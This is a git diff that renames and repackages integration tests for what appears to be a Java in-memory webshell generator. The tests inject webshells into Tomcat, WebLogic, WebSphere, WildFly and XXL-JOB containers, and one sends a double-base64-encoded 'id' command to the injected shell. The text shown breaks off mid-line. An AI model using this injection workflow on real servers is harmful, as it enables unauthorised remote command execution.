a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index f277a669..9ef50f5f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -74,6 +74,6 @@ public class Tomcat7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java similarity index 82% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java index 8b8a73be..d415d29e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -1,11 +1,11 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; -import com.reajason.javaweb.integration.ShellAssertionTool; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; @@ -67,7 +67,7 @@ public class Tomcat8CommandEncryptorContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { String url = getUrl(container); - Pair urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer); + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); String shellUrl = urls.getLeft(); String urlPattern = urls.getRight(); @@ -78,15 +78,15 @@ public class Tomcat8CommandEncryptorContainerTest { .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) .build(); - GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig); + MemShellResult generateResult = ShellAssertion.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig); - ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); + ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes())); if (shellType.endsWith(ShellType.WEBSOCKET)) { - ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload); + ShellAssertion.webSocketCommandIsOk(shellUrl, payload); } else { - ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); + ShellAssertion.commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 8c986ff9..6b45c612 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -76,6 +76,6 @@ public class Tomcat8ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java index f7c5654c..ff6ff992 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java @@ -1,5 +1,6 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -19,7 +20,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; @@ -65,6 +66,6 @@ public class Tomcat8DeserializeContainerTest { @ParameterizedTest(name = "{0}-deserialize|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index 0b01a15c..c44ae5b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -1,5 +1,6 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -19,7 +20,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.params.provider.Arguments.arguments; @@ -72,6 +73,6 @@ public class Tomcat8ExpressionContainerTest { @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index f9029871..07736938 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.tomcat; +package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -74,6 +74,6 @@ public class Tomcat9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java index 535be0d8..0fabbc21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic1036ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.weblogic; +package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -22,7 +22,7 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; /** * @author ReaJason @@ -66,7 +66,7 @@ public class WebLogic1036ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java index 21316c0c..8f127a05 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic12214ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.weblogic; +package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,7 +68,7 @@ public class WebLogic12214ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java index 5613217c..a9dda82c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/weblogic/WebLogic14110ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.weblogic; +package com.reajason.javaweb.integration.memshell.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,7 +69,7 @@ public class WebLogic14110ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index 6aa16656..cc7d4652 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.websphere; +package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -25,7 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,7 +72,7 @@ public class WebSphere855ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 5c4c8e3c..0724b04b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.websphere; +package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -25,7 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -71,7 +71,7 @@ public class WebSphere905ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 68321682..c56bf58d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.websphere7; +package com.reajason.javaweb.integration.memshell.websphere7; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -25,7 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,7 +72,7 @@ public class WebSphere700ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container, python); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java index afd824b7..fef3681b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly18ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.wildfly; +package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Wildfly18ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java index 457a75fa..93295693 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly23ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.wildfly; +package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Wildfly23ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index cfe30689..a0e287fc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.wildfly; +package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -71,6 +71,6 @@ public class Wildfly30ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 365c1667..569ce323 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.wildfly; +package com.reajason.javaweb.integration.memshell.wildfly; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -24,7 +24,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -76,6 +76,6 @@ public class Wildfly9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java similarity index 88% rename from integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java index f946254a..fa166ad8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/xxljob/XxlJob220ContainerTest.java @@ -1,5 +1,6 @@ -package com.reajason.javaweb.integration.xxljob; +package com.reajason.javaweb.integration.memshell.xxljob; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; @@ -20,7 +21,7 @@ import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -55,7 +56,7 @@ public class XxlJob220ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + ShellAssertion.shellInjectIsOk(getUrl(), 